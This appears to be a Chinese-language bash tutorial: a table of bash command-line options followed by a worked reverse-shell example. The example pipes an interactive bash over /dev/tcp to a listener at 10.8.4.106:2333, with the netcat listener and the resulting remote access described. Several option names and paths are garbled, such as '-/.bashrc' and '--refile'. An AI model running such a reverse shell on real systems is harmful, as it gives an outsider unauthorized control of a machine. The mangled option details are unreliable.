前言
bash 是一个为GNU计划编写的Unix shell。它的名字是一系列缩写:Bourne-Again SHell — 这是关于Bourne shell(sh)的一个双关语(Bourne again / born again)。
参数
参数 | 用法 |
---|---|
-c | 若用-c参数,则bash从字符串中读入命令,如果字符串后还有变量就被设定为从$0开始的位置参数。 |
-n | 检查脚本是否正确,并不执行脚本 |
-i | 若用-i参数,则bash是交互的。 |
-s | 若用-s参数,则bash从标准输入中读入命令(在执行完-c带的命令之后。)直到输入exit。 |
-x | 执行脚本,输出执行过程,适合调试适用 |
- | 单一的号表明参数执行完毕,并且屏蔽此后所跟参数,后面的所有变量都被看作是文件名。 |
-norc | 如果bash是交互的,则不执行个人初始化文件:-/.bashrc,如果bash作为sh来运行,这个参数缺省是关闭的。 |
-noprofile | 不执行系统范围的启动文件/etc/profile也不执行个人的启动文件-/.bash_profile,-/.bash_login或-/.profile,缺省情况下,bash作为登录的shell时以这些文件作为启动文件。 |
--refile | 如果bash是交互的,则以此文件作为bash的启动文件。替代-/.bashrc。 |
--version | bash开始时显示版本号 |
-quiet | 不显示版本号和其他信息,缺省值 |
-login | 激活bash,伪装成登录shell |
-nolineediting | 在交互状态下不使用GNU的readline库去读取命令。即取消了命令行编辑功能。 |
-posix | 改变bash的行为,使其符合Posix 1003.2规定的标准。 |
例子
bash -x -i >& /dev/tcp/10.8.4.106/2333 0>&1
先了解下交互式bash的含义
number | value | mean |
---|---|---|
0 | STDIN_FILENO | 标准输入(键盘) |
1 | STDOUT_FILENO | 标准输出(控制台) |
2 | STDERR_FILENO | 标准错误 |
- 2>&1&的意义,用来将标准错误2重定向到标准输出1中的。此处1前面的&就是为了让bash将1解释成标准输出而不是文件1。至于最后一个&,则是让bash在后台执行。
- /dev/tcp/10.8.4.106/2333,这是一个特殊文件,它会建立一个连接到10.8.4.106:2333的socket
- 命令的含义: bash -i创建一个交互式的bash,&>将bash的标准输出重定向到/dev/tcp/10.8.4.106/2333的socket连接上,0>&1将标准输入重定向到标准输出,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互。
10.8.4.106
nc -l 2333
10.8.4.102
bash -x -i >& /dev/tcp/10.8.4.106/2333 0>&1
此时已经可以在106上已经有了102的bash权限,ls命令也可以查看目录信息等。(反射bash)